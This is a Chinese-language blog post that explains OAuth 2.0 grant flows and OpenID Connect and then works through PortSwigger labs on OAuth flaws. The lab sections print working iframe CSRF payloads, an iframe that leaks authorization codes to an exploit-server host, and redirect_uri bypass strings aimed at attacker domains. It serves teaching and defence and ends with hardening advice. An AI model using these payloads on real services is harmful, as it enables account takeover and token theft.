文章目錄
- 前言
- OAuth2.0
- 1.1 OAuth應用
- 1.2 OAuth基礎
- 1.3 授權碼模式
- 1.4 其它類模式
- 1.5 openid連接
- 安全風險
- 2.1 隱式授權劫持
- 2.2 CSRF攻擊風險
- 2.3 Url重定向漏洞
- 2.4 scope校驗缺陷
- 總結
前言
OAuth 全稱為Open Authorization(開放授權),OAuth 協議為用戶資源的授權提供了一個安全的、開放而又簡易的標準。OAuth 2.0 允許用戶授權第三方應用訪問他們在另一個服務提供方上的數據,而無需分享他們的憑據(如用戶名、密碼)。
OAuth 2.0 被廣泛運用于各類授權認證的場景,然而信息系統在采用 OAuth 2.0 協議進行授權認證的過程中,如果開發人員對協議的實現不當則容易造成信息安全風險,本文來學習記錄下 OAuth 2.0 協議授權機制的原理和其面對的安全風險。
OAuth2.0
1.1 OAuth應用
此處參考《理解OAuth 2.0 - 阮一峰的網絡日志》舉的案例:
有一個"云沖印"的網站,可以將用戶儲存在 Google 的照片沖印出來。用戶為了使用該服務,必須讓"云沖印"讀取自己儲存在 Google 上的照片。問題是只有得到用戶的授權,Google 才會同意"云沖印"讀取這些照片。那么,"云沖印"怎樣獲得用戶的授權呢?
傳統方法是,用戶將自己的 Google 用戶名和密碼,告訴"云沖印",后者就可以讀取用戶的照片了。這樣的做法有以下幾個嚴重的缺點:
- "云沖印"為了后續的服務,會保存用戶的密碼,這樣很不安全。
- Google 不得不部署密碼登錄,而我們知道,單純的密碼登錄并不安全。
- "云沖印"擁有了獲取用戶儲存在 Google 所有資料的權力,用戶沒法限制"云沖印"獲得授權的范圍和有效期。
- 用戶只有修改密碼,才能收回賦予"云沖印"的權力。但是這樣做,會使得其他所有獲得用戶授權的第三方應用程序全部失效。
- 只要有一個第三方應用程序被破解,就會導致用戶密碼泄漏,以及所有被密碼保護的數據泄漏。
OAuth 就是為了解決上面這些問題而誕生的。
OAuth 協議為用戶資源的授權提供了一個安全的、開放而又簡易的標準。與以往的授權方式不同之處是 OAuth 的授權不會使第三方觸及到用戶的帳號信息(如用戶名與密碼),即第三方無需使用用戶的用戶名與密碼就可以申請獲得該用戶資源的授權,因此 OAUTH 是安全的。——引用自百度百科。
舉一個通俗易懂的生活中常見例子,美團 Web 端的登錄 支持 QQ 和微博掃碼登錄:
用戶通過手機微博 app 掃描確認授權即可完成登錄:
此過程采用的便是 OAuth2.0 協議(具體 http 字段特征下文會解釋):
1.2 OAuth基礎
先看看 OAuth2.0 協議的一些基礎概念:
概念 | 解釋 |
---|---|
用戶代理(User Agent) | 通常指瀏覽器 |
客戶端(Client) | 請求訪問資源的第三方應用,可以是 Web 站點、App、設備等 |
服務提供商(Service Provider) | 提供、存放資源的網絡服務,如 Google、Github 等 |
資源所有者(Resource Owner) | 通常就是指用戶,他們擁有服務提供商上的資源 |
授權服務器(Authorization Server) | 服務提供商用于處理和發放訪問令牌的服務器。當用戶請求訪問資源時,需要先向授權服務器請求訪問令牌 |
資源服務器(Resource Server) | 資源服務器是服務提供商用于存儲和管理資源的服務器;當用戶擁有訪問令牌后,就可以向資源服務器請求訪問資源 |
訪問令牌(Access Token) | 訪問令牌是授權服務器發放給客戶端的一個憑證,表示客戶端有權訪問資源所有者的資源。訪問令牌有一定的有效期,過期后需要使用刷新令牌來獲取新的訪問令牌 |
刷新令牌(Refresh Token) | 刷新令牌是授權服務器在發放訪問令牌時一同發放的一個憑證,用于在訪問令牌過期后獲取新的訪問令牌。刷新令牌通常有較長的有效期,甚至可以設置為永不過期 |
OAuth 協議的作用就是讓 “客戶端” 安全可控地獲取 “用戶” 的授權(Access Token),與 “服務商提供商” 進行互動。
OAuth 2.0 的運行流程如下圖,摘自 RFC 6749。
- 用戶打開客戶端以后,客戶端要求用戶給予授權。
- 用戶同意給予客戶端授權。
- 客戶端使用上一步獲得的授權,向認證服務器申請令牌。
- 認證服務器對客戶端進行認證以后,確認無誤,同意發放令牌。
- 客戶端使用令牌,向資源服務器申請獲取資源。
- 資源服務器確認令牌無誤,同意向客戶端開放資源。
同時 OAuth 2.0 支持 4 種獲得令牌(Access Token)的流程:
- 授權碼模式(authorization-code)
- 隱式授權模式(implicit)
- 密碼模式(password)
- 客戶端憑證模式(client credentials)
其中最常見、最安全得便是本文要重點介紹的授權碼模式。
【More】SSO 單點登錄和 OAuth2.0在 協議應用場景上的區別在于,SSO 是為了解決一個用戶在鑒權服務器登陸過一次以后,可以在任何應用(通常是一個廠家的各個系統)中暢通無阻。OAuth2.0 解決的是通過令牌(token)而不是密碼獲取某個系統的操作權限(不同廠家之間的賬號共享)。詳情參考:《一文徹底搞懂SSO 和 OAuth2.0 關系》。
1.3 授權碼模式
授權碼模式(authorization code)是功能最完整、流程最嚴密的授權模式。它的特點就是通過客戶端的后臺服務器,與"服務提供商"的認證服務器進行互動。其完整的授權流程如下圖所示:
授權流程場景可以描述為如下幾個步驟(拿微信授權來講):
- 用戶在第三方應用程序中,應用程序嘗試獲取用戶保存在微信資源服務器上的信息,比如用戶的身份信息和頭像,應用程序首先讓重定向用戶到授權服務器,告知申請資源的讀權限,并提供自己的 client id;
- 到授權服務器,用戶輸入用戶名和密碼(已登錄的情況下一鍵授權即可),服務器對其認證成功后,提示用戶即將要頒發一個讀權限給應用程序,在用戶確認后,授權服務器頒發一個授權碼(authorization code)并重定向用戶回到應用程序;
- 應用程序獲取到授權碼之后,使用這個授權碼和自己的
Client id/Secret
向認證服務器 申請訪問令牌/刷新令牌(access token/refresh token
)。授權服務器對這些信息進行校驗,如果一切 OK,則頒發給應用程序。 - 應用程序在拿到訪問令牌之后,向資源服務器申請用戶的資源信息;
- 資源服務器在獲取到訪問令牌后,對令牌進行解析(如果令牌已加密,則需要進行使用相應算法進行解密)并校驗,并向授權服務器校驗其合法性,如果一起 OK,則返回應用程序所需要的資源信息。
這個授權流程在 OAuth 2.0 中被稱為授權碼模式(authorization code grant),其命名的原因是,應用程序使用授權碼來向授權服務器申請訪問令牌/刷新令牌。在整個過程中應用程序沒有接觸到用戶的密碼。
【授權流程核心參數】
1、 客戶端申請授權碼(authorization code)的 HTTP Request,包含以下參數:
-
response_type:表示授權類型,必選項,此處的值固定為"code"
-
client_id:表示客戶端的 ID,必選項
-
redirect_uri:表示重定向 URI,可選項
-
scope:表示申請的權限范圍,可選項
-
state:表示客戶端的當前狀態,可以指定任意值,認證服務器會原封不動地返回這個值。
GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1Host: server.example.com
2、服務器回應客戶端的授權碼申請的 HTTP Response,包含以下參數:
-
code:表示授權碼,必選項。該碼的有效期應該很短,通常設為 10 分鐘,客戶端只能使用該碼一次,否則會被授權服務器拒絕。該碼與客戶端 ID 和重定向URI,是一一對應關系。
-
state:如果客戶端的請求中包含這個參數,認證服務器的回應也必須一模一樣包含這個參數。
HTTP/1.1 302 FoundLocation: https://client.example.com/cb?code=SplxlOBeZQQYbYS6WxSbIA&state=xyz
3、客戶端拿著授權碼向認證服務器申請令牌的 HTTP Request ,包含以下參數:
-
grant_type:表示使用的授權模式,必選項,此處的值固定為 “authorization_code”。
-
code:表示上一步獲得的授權碼,必選項。
-
redirect_uri:表示重定向 URI,必選項,且必須與前面申請授權碼的步驟中的該參數值保持一致。
-
client_id:表示客戶端 ID,必選項。
-
client_secret:client_id 參數和 client_secret 參數用來讓授權服務器確認客戶端的身份(client_secret 參數是保密的,因此只能在后端發請求);
POST /oauth/token HTTP/1.1
Host: server.example.com
Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW
Content-Type: application/x-www-form-urlencodedclient_id=s6BhdRkqt3&client_secret=xxxxxx&grant_type=authorization_code&code=SplxlOBeZQQYbYS6WxSbIA
&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb
4、認證服務器最終返回給客戶端的 HTTP Response 包含以下參數:
- access_token:表示訪問令牌,必選項。
- token_type:表示令牌類型,該值大小寫不敏感,必選項,可以是bearer類型或mac類型。
- expires_in:表示過期時間,單位為秒。如果省略該參數,必須其他方式設置過期時間。
- refresh_token:表示更新令牌,用來獲取下一次的訪問令牌,可選項。
- scope:表示權限范圍,如果與客戶端申請的范圍一致,此項可省略。
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
Cache-Control: no-store
Pragma: no-cache{"access_token":"2YotnFZFEjr1zCsicMWpAA","token_type":"example","expires_in":3600,"refresh_token":"tGzv3JOkF0XG5Qx2TlKWIA","example_parameter":"example_value"
}
【思考】授權碼模式中,為何要具備 client_secret?
第三方應用申請令牌之前,都必須先到系統備案(比如各大廠商對外提供的開發者平臺),說明自己的身份,然后拿到兩個身份識別碼:客戶端 ID(client ID)和客戶端密鑰(client secret)。這是為了防止令牌被濫用,沒有備案過的第三方應用,是無法申請令牌的。顯然,client_id 參數和 client_secret 參數用來讓授權服務器確認客戶端的身份。
上面這個授權碼模式的流程圖比前面另一張流程圖更為詳細和準確。授權碼模式的工作流程中,Authentication Code 可以返回前端并存在于瀏覽器里面,這個 code 被看到無所謂,因為如果偷走了這個 code,也無法像 Authorization Server 請求 access token,因為小偷沒有 client_secert,所以即使被偷走了 authentication code,也無法換取拿走 access token。但是我們需要將 client_secert 存放在后端服務器(比如美團支持微博掃碼登錄的場景,需要放在美團服務器上)與授權服務器進行安全通信,避免 client_secert 泄露的風險。So 請記住:client_secret 參數是需要嚴格保密的,因此安全起見,我們需要在后端服務器存儲 client_secret 參數并由后端發起 AccessToken 申請的請求。
1.4 其它類模式
OAuth2.0 提供的其它三種授權模式并不常用,此處僅做簡單介紹,不過度展開。
0x01 隱式授權(Implicit Grant)
有些 Web 應用是純前端應用,沒有后端。這時就不能用上面的授權碼模式了,必須將令牌儲存在前端。RFC 6749 就規定了第二種方式,允許直接向前端頒發令牌。這種方式沒有授權碼這個中間步驟,所以稱為(授權碼)“隱藏式”(implicit)。隱式授權又稱簡化授權模式,它和授權碼模式類似,只不過少了獲取授權碼的步驟,是直接獲取令牌 token 的,且沒有 Refresh Token,適用于公開的瀏覽器單頁應用。
第一步,A 網站提供一個鏈接,要求用戶跳轉到 B 網站,授權用戶數據給 A 網站使用。
https://b.com/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read
上面 URL 中,response_type 參數為 token,表示要求直接返回令牌。
第二步,用戶跳轉到 B 網站,登錄后同意給予 A 網站授權。這時,B 網站就會跳回 redirect_uri 參數指定的跳轉網址,并且把令牌作為 URL 參數,傳給 A 網站。
https://a.com/callback#token=ACCESS_TOKEN
上面 URL 中,token參數就是令牌,A 網站因此直接在前端拿到令牌。
0x02 密碼模式(password)
如果你高度信任某個應用,RFC 6749 也允許用戶把用戶名和密碼,直接告訴該應用。該應用就使用你的密碼,申請令牌,這種方式稱為"密碼式"(password)。
第一步,A 網站要求用戶提供 B 網站的用戶名和密碼。拿到以后,A 就直接向 B 請求令牌。
https://oauth.b.com/token?grant_type=password&username=USERNAME&password=PASSWORD&client_id=CLIENT_ID
上面 URL 中,grant_type 參數是授權方式,這里的 password 表示"密碼式",username 和 password 是 B 的用戶名和密碼。
第二步,B 網站驗證身份通過后,直接給出令牌。注意,這時不需要跳轉,而是把令牌放在 JSON 數據里面,作為 HTTP 回應,A 因此拿到令牌。
這種方式需要用戶給出自己的用戶名/密碼,顯然風險很大,因此只適用于其他授權方式都無法采用的情況,而且必須是用戶高度信任的應用。
0x03 客戶端憑證模式(client credentials)
最后一種方式是憑證式(client credentials),適用于沒有前端的命令行應用,即在命令行下請求令牌。
第一步,A 應用在命令行向 B 發出請求。
https://oauth.b.com/token?grant_type=client_credentials&client_id=CLIENT_ID&client_secret=CLIENT_SECRET
上面 URL 中,grant_type 參數等于 client_credentials 表示采用憑證式,client_id 和 client_secret 用來讓 B 確認 A 的身份。
第二步,B 網站驗證通過以后,直接返回令牌。
這種方式給出的令牌,是針對第三方應用的,而不是針對用戶的,即有可能多個用戶共享同一個令牌。
1.5 openid連接
本章節主要參考《OAuth 2.0 和 OpenID Connect 的基本原理和區別(干貨)》,原文循序漸進講得很好。
2009 年左右,第一個第三方 facebook 登錄第一次出現,這意味著:
- OAuth 可以用來做簡單身份 驗證;
- OAuth 也可以做跨站點 SSO 驗證;
- 手機端的應用程序也可以用來 OAuth 來登錄驗證;
但是 OAuth 最關鍵的還是用戶委派授權,比如上面用微博來委派授權美團能夠獲得部分的用戶資料授權。OAuth主要設計是用來進行授權的,而不是 User 身份驗證。這是為什么呢?
主要因為 OAuth 用的是 client ID 而不是 User ID 來進行請求。其次,如果用 OAuth 來進行身份驗證的話,不是個完美的選擇,因為 OAuth 沒有一個標準的方法來搜集 user 用戶本身的資料,比如說,你想登錄美團,作為應用美團的商業角度來說,最好的情況是美團直接從 user 那里或者郵箱地址、姓名、年紀等信息,但是 OAuth 的協議流程里面并沒有針對 user 信息本身,而是針對于 scope 給出 client 指定范圍的信息授權,OAuth 其實并不在意 Cilent 發起授權請求的是是哪個 user,也就是并不太在乎你是誰。
綜上可以看到,盡管 OAuth 2.0 在資源授權上非常管用,但是如果把 OAuth 專門用來做身份驗證,就會出現很多問題,比如沒有一個標準的方式來獲得用戶信息,而且每個應用實現 OAuth 協議的細節也不一樣,同時每個應用允許的 scope 都不一樣。為了解決這個問題,便引入了 OpenID Connect。
OAuth 主要用在授權,缺失了身份驗證的功能,所以OpenID Connect 就是用來彌補 OAuth 這個身份驗證空白的。其實 OpenID Connect 不太能夠視為一個單獨的驗證協議,因為 OpenID Connect 需要和 OAuth 一起使用,底層授權用 OAuth,上一層的身份驗證用 OpenID Connect,相當于 OAuth 的擴展。
OpenID Connect 和 OAuth 從技術上來講,哪里有什么不一樣呢?
就在第一步向授權服務器進行請求時,會請求 OpenID profile 的 scope。Access token 和 ID token 一起獲得,access token 可以向 resource server 要profile,ID token 可以證明是哪個用戶進行了登錄,但是這個 ID token 關于 user 的信息有限,如果 client 還想要更多關于 user 的信息,可以調用/userinfo
API。
安全風險
結合 portswigger 靶場來進行實踐學習 OAuth2.0 授權協議面對的安全風險,此靶場深入淺出值得推薦。
2.1 隱式授權劫持
隱式授權模式的介紹參見 “1.4 其它類模式” 章節。隱式授權模式缺乏 client_secret 校驗客戶端身份的環節,直接通過 client_id 即可直接發起獲取 AccessToken 的請求,在這種情況下,攻擊者可以簡單地更改發送到服務器的參數來模擬任何用戶。
https://b.com/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=CALLBACK_URL&scope=read
直接上靶場:lab-oauth-authentication-bypass-via-oauth-implicit-flow。
1、 訪問靶場,發現是個博客站點,點擊登錄(先使用提供的賬戶密碼wiener:peter
正常登錄):
2、自動跳轉到 OAuth2.0 授權登錄界面,點擊確認授權:
3、觀察上述 http 報文,發現 OAuth 授權請求過程如下:
可以看到 /authenticate 請求攜帶 OAuth 頒發的 Token + 客戶端指定的用戶賬戶 email、username 發起了對應讀取郵箱賬戶屬性的資源請求,此處用戶的的身份參數是客戶端可控的,題目要求錄到 carlos 的帳戶(carlos@carlos-montoya.net
),故重新發起授權流程,攔截 /authenticate 請求修改 email 即可。
成功通關:
【實驗小結】OAuth 2.0 中的隱式授權方式存在較大安全風險,容易發生越權漏洞,實際應用中還是應當使用授權碼模式來規避此類風險,授權碼模式比隱式模式多了一步校驗客戶端身份的 client_id/client_secret
字段,在 client_secret 字段未發生泄露的情況下,可以有效避免上面越權獲取資源的風險。
2.2 CSRF攻擊風險
授權碼模式也并非固若金湯,仔細觀察授權碼模式申請 OAuth Code 的請求中需要攜帶 state 參數,此參數是用于防止 CSRF 攻擊的,但是 OAuth2.0 協議并非強制要求攜帶此參數,如果開發人員在使用 OAuth2.0 協議時舍棄了該參數,將導致系統可能面臨 CSRF 攻擊場景。
《移花接木:針對OAuth2的CSRF攻擊》仔細講了此類 CSRF 攻擊的場景,描述有點過于繁雜,但里面的流程圖很清晰概括了作者要表達的事情,看圖即可:
簡單來說,就是攻擊者拿著自己的 auth_code 構造 CSRF 鏈接給到受害者,受害者點擊 CSRF 鏈接后將攜帶自己的 client_id、client_secret 等身份標識向授權服務器發起申請 Access_token 的請求,如果授權服務器未校驗 auth_code 和 client_id 的映射關系(很關鍵的攻擊前提條件),將導致受害者的的賬戶跟攻擊者賬戶進行了錯誤綁定。
要防止此類攻擊其實很容易,作為第三方應用的開發者,只需在 OAuth 認證過程中加入 state 參數,并驗證它的參數值即可。具體細節如下:
- 在將用戶重定向到 OAuth2 的 Authorization Endpoint 去的時候,為用戶生成一個隨機的字符串,并作為 state 參數加入到 URL 中;
- 客戶端在收到 OAuth2 服務提供者返回的 Authorization Code 請求的時候,驗證接收到的 state 參數值,如果是正確合法的請求,那么此時接受到的參數值應該和上一步提到的為該用戶生成的 state 參數值完全一致,否則就是異常請求;
同時 state 參數值需要具備下面幾個特性:
- 不可預測性:足夠的隨機,使得攻擊者難以猜到正確的參數值;
- 關聯性:state參數值和當前用戶會話(user session)是相互關聯的;
- 唯一性:每個用戶,甚至每次請求生成的 state 參數值都是唯一的;
- 時效性:state 參數一旦被使用則立即失效;
同樣來通過靶場實踐一下此類漏洞:https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking。
要求我們通過 CSRF 漏洞獲得博客站點管理員賬戶的訪問權限并刪除 carlos 賬戶,靶場給每一個實驗都提供了標準的通關步驟指導,對著一步步操作即可。
1、題目是個 Blog 站點,點擊 MyAccount 進行賬戶登錄,先正常選擇博客網站賬戶(wiener:peter)進行登錄:
2、登陸以后,選擇將您的社交媒體個人資料附加到您現有的帳戶。點擊“附加社交檔案”,您將被重定向到社交媒體網站,您應該使用您的社交媒體憑據登錄以完成 OAuth 流程。之后,您將被重定向回博客網站。
3、完成上述博客賬戶與社交賬戶的綁定后,退出登錄,然后點擊“My Account”返回登錄頁面。這一次,選擇“使用社交媒體登錄”選項,注意此次您將通過社交媒體帳戶實現快速登錄。
觀察通過社交賬戶快速登錄的過程中存在兩個核心報文如下:
可以看到申請 oauth_code 的過程并未攜帶 state 參數,故此處可以通過構造 CSRF 惡意鏈接,讓博客網站的管理員訪問/oauth-login?code=攻擊者的 auth_code
,即可實現將博客網站的管理員的賬戶跟攻擊者的社交賬戶進行綁定,然后攻擊者通過自己的社交帳戶登錄博客站點,便能獲得博客站點的管理權限。
4、打開代理攔截并再次選擇“附加社交配置文件”選項,攔截到 GET /oauth-linking?code=[...]
的請求。右鍵單擊此請求并選擇“復制URL”,接著 drop 放棄該請求(這對于確保授權代碼不被使用并保持有效非常重要)。
5、點擊訪問漏洞利用服務器,構造 CSRF 惡意鏈接并發送給博客站點管理員,向受害者(博客站點管理員)發送 exp,當他們的瀏覽器加載 iframe 時,它將使用您的社交媒體配置文件完成 OAuth 流程,將其附加到博客網站管理員的帳戶:
<iframe src="https://XXXX.web-security-academy.net/oauth-linking?code=B2ZvLTHcsrOeyUIEig8LKYHJznCoZzyHoUD2LSodlTo"></iframe>
6、返回到博客網站,退出登錄后重新登錄,再次選擇“使用社交媒體登錄”,可以發現成功以管理員用戶身份登錄,轉到管理面板并刪除 carlos 賬戶以解決實驗。
【實驗小結】state 參數在 OAuth 2.0 認證過程中不是必選參數,因此第三方應用開發者在集成 OAuth 2.0 認證的時候很容易會忽略它的存在,導致應用易受CSRF 攻擊,導致可以悄無聲息的攻陷受害者的賬號。作為第三方應用的開發者,需要在 OAuth2.0 認證流程中明確提供 state 參數并有效驗證其參數值。
2.3 Url重定向漏洞
在授權碼模式中,OAuth 服務端收到 redirect_uri 后如果未對其進行安全校驗,那么存在的攻擊場景:
- 攻擊者可將 redirect_uri 改為自己的站點后構造 CSRF 攻擊鏈接并發送給受害者訪問,導致返回的 auth_code 發送到了攻擊者的站點,使其獲取到了受害者 auth_code;
- 這個時候 如果 OAuth 服務器沒有校驗 client_id 和 auth_code 的綁定關系(很關鍵的攻擊前提條件,下面的實驗便是基于此),那么攻擊者可以拿著受害者的 auth_code 向 OAuth 服務器申請到與受害者賬戶對應的 access_token;
- 或者受害者的 client_id、client_secret 同時發生了泄露,那么攻擊者可以拿著受害者泄露的 auth_code 發起申請 access_token 的請求來獲得受害者賬戶對應的 access_token;
- 上述竊取到 access_token 的過程如果用于登錄授權場景,此時攻擊者可以成功實現將受害者的賬戶(比如美團賬戶)與自己的賬戶(比如微博社交賬戶)進行關聯綁定,實現接管受害者的賬戶(即攻擊者可以用自己微博賬戶登錄受害者的美團賬戶,下面的實驗就是這種場景);
靶場環境:https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri。
根據官方提供的標準通過步驟走即可,同樣是個 Blog 站點,但僅提供社交帳號關聯登錄:
通過社交賬戶成功完成 OAuth 授權登錄后,選擇退出登錄,然后再次登錄。注意,由于您仍然與 OAuth 服務有一個活動會話,因此您不需要再次輸入憑據來進行身份驗證,可實現快速登錄。
以上過程的 http 報文跟上一個實驗一樣存在兩個核心請求:
將 /auth?client_id=XXX&redirect_uri=https://XXX&response_type=code&scope=openid%20profile%20email
請求修改 redirect_uri 參數后進行重放,可以發現其服務端正常返回對應的 auth_code 值:
3、更改 redirect_uri 令其指向漏洞利用服務器,然后發送請求并 Follow Redirect,接著查看漏洞利用服務器的訪問日志,并觀察到有一個包含授權代碼的日志條目,這確認您可以將授權碼泄漏到外部域。
返回到 exploit 服務器并在 /exploit 創建以下 iframe :
<iframe src="https://oauth-0a3f00e1034e9d41833841db023f0073.oauth-server.net/auth?client_id=jr2th3gemopgjyu25io6u&redirect_uri=https://exploit-0abe001103809d19832f4261018a003a.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>
存儲漏洞發送 exp 到受害者:
訪問 exp 服務器 log 日志可以看到受害者(博客站點管理員)泄露的 auth_code:
最后,退出博客網站,然后使用竊取到的 auth_code 訪問如下登錄請求:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback?code=6m006M_uYUwmM5GK92-Hm99TT3siFmSH8zQYTnR_D2M
OAuth 流程的其余部分將自動完成,您將以管理員用戶身份登錄。打開管理面板并刪除 carlos 以解決實驗。
【實驗小結】以上實驗成功的前提條件,除了服務端沒有校驗 redirect_uri 的合法性之外,還包括 OAuth 授權服務器沒有校驗 client_id 與頒發過的 auth_code 的映射關系,這才導致攻擊者可以拿著受害者的 auth_code 和自己的 client_id/client_secret 直接發起并完成登錄請求。
【有缺陷的 redirect_uri 驗證】
根據前面實驗中看到的攻擊類型,客戶端應用程序在注冊 OAuth 服務時提供其真正回調 URI 的白名單是最佳的選擇。這樣,當 OAuth 服務收到新請求時,它可以根據此白名單驗證 redirect_uri 參數。在這種情況下,提供外部 URI 可能會導致錯誤。
然而 redirect_uri 白名單驗證仍然可能有方法繞過,以下幾種方法較為常見:
- 一些白名單檢查方案采用的是檢查字符串是否以正確的字符序列開頭(即 startWith(“xxxx”)、contain(“xxxx”) 這類),可以嘗試注冊符合條件的域名或構造對應 URL 來滿足檢查條件;
- 如果可以將額外值追加到默認 redirect_uri 參數,則可以利用 OAuth 服務的不同組件分析 URI 之間的差異。例如,您可以嘗試以下技術:
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/
(可參考 SSRF 防御手段); - 還可以通過提交重復的 redirect_uri 參數檢測是否存在 HTTP 參數污染漏洞;
- 一些服務器還對 localhost URI 進行特殊處理,因為它們在開發過程中經常使用,在某些情況下,任何以 開頭 localhost 的重定向 URI 都可能在生產環境中意外被允許,這允許攻擊者通過注冊域名(如 localhost.evil-user.net )來繞過驗證。
【通過代理頁面竊取授權碼和訪問令牌】
對于更強大的目標,可能會發現無論嘗試什么,都無法成功將外部域作為 redirect_uri,然而這并不意味著是時候放棄了。現在的關鍵是嘗試確定是否可以更改參數 redirect_uri 以指向列入白名單的域上的任何其他頁面。
嘗試找到可以成功訪問不同子域或路徑的方法。例如,默認 URI 通常位于特定于 OAuth 的路徑上,例如 /oauth/callback ,該路徑不太可能有任何有趣的子目錄。但是可以使用目錄遍歷技巧來提供域上的任何任意路徑,例如:
https://client-app.com/oauth/callback/../../example/path在后端將被解析為:
https://client-app.com/example/path
確定可以設置為重定向 URI 的其他頁面后,應審核它們是否存在可能用于泄露 auth_code 或 access_token 的其他漏洞。為此常見的手段有:
-
開放重定向:這其實也屬于校驗不完整的而繞過的一種情況,因為 OAuth 提供方只對回調 URL 的根域等進行了校驗,當回調的 URL 根域確實是原正常回調 URL 的根域,但實際是該域下的一個存在 URL 跳轉漏洞的URL,就可以構造跳轉到釣魚頁面,就可以繞過回調 URL 的校驗了,比如:
https://xxx.com/callback?redirectUrl=https://evil.com
; -
結合跨站圖片或 XSS 漏洞:通過在客戶端或者客戶端子域的公共評論區等模塊,插入構造好請求的 img 標簽,將 redirect_uri 參數修改為加構造好 img 標簽的 URL,利用本身的域名去繞過白名單限制。
2.4 scope校驗缺陷
使用授權碼模式進行授權時,用戶的數據通過安全的服務器到服務器通信被請求和發送,第三方攻擊者通常無法直接操縱。但是,通過向 OAuth 服務注冊他們自己的客戶端應用程序,仍然可以實現相同的結果。
例如,假設攻擊者的惡意客戶端應用程序最初使用 openid、email 作用域請求訪問用戶的電子郵件地址。在用戶批準此請求后,惡意客戶端應用程序將收到一個授權代碼。當攻擊者控制他們的客戶端應用程序時,他們可以向 code/token 交換請求中添加另一個包含額外范圍 profile 的 scope 參數:
POST /token
Host: oauth-authorization-server.com
…
client_id=12345&client_secret=SECRET&redirect_uri=https://client-app.com/callback&grant_type=authorization_code&code=a1b2c3d4e5f6g7h8&scope=openid%20email%20profile
如果服務器沒有根據初始授權請求中的作用域進行驗證,它有時會使用新的作用域生成一個訪問令牌,并將其發送給攻擊者的客戶端應用程序:
{"access_token": "z0y9x8w7v6u5","token_type": "Bearer","expires_in": 3600,"scope": "openid email profile",…
}
然后,攻擊者可以使用其應用程序進行必要的API調用,以訪問用戶的配置文件數據。
總結
OAuth 2.0 用于資源授權和登錄認證的過程中,授權碼模式相對于隱式授權模式、密碼模式等具備更高的安全性,但是第三方開發者在實現 OAuth2.0 授權邏輯的時候,一定要考慮一些必要的安全邏輯,防止存在授權或認證缺陷。
常見的需要考慮的安全點如下:
-
盡量采用安全性更高的授權碼模式;
-
在申請 auth_code 的過程中,攜帶具備隨機性的 state 參數,防御 CSRF 攻擊;
-
授權服務器需要嚴格校驗 client_id 和 auth_code 的綁定關系,防止頒發給 A 用戶的 auth_code 被 B 竊取后申請到屬于 A 的 access_token;
-
授權服務器應當校驗 redirect_uri 回調參數的合法性,可以通過配置白名單的方式,防止 auth_code 或 access_token 返回到攻擊者服務器上;
-
使用 auth_code 交換 access_token 的過程需要在后臺服務器之間進行,不能將 client_secret 硬編碼在客戶端或者 http 傳遞到客戶端,確保 client_secret 不被泄露。
本文參考文章與資源:
- 講得挺好的視頻:徹底理解 OAuth2 協議_嗶哩嗶哩_bilibili;
- 基礎流程的理解:理解OAuth 2.0、OAuth 2.0 的四種方式 - 阮一峰;
- 防御 CSRF 攻擊:移花接木:針對OAuth2的CSRF攻擊;
- 常見攻擊面概述:OAuth實現機制中的常見安全問題、挖洞小技巧系列之OAuth 2.0;
- OpenID Connect:OAuth 2.0 和 OpenID Connect 的基本原理和區別(干貨);
- 很不錯的流程圖:一文徹底搞懂SSO和OAuth2.0關系、OAuth2.0入門:基本概念詳解和四種授權類型。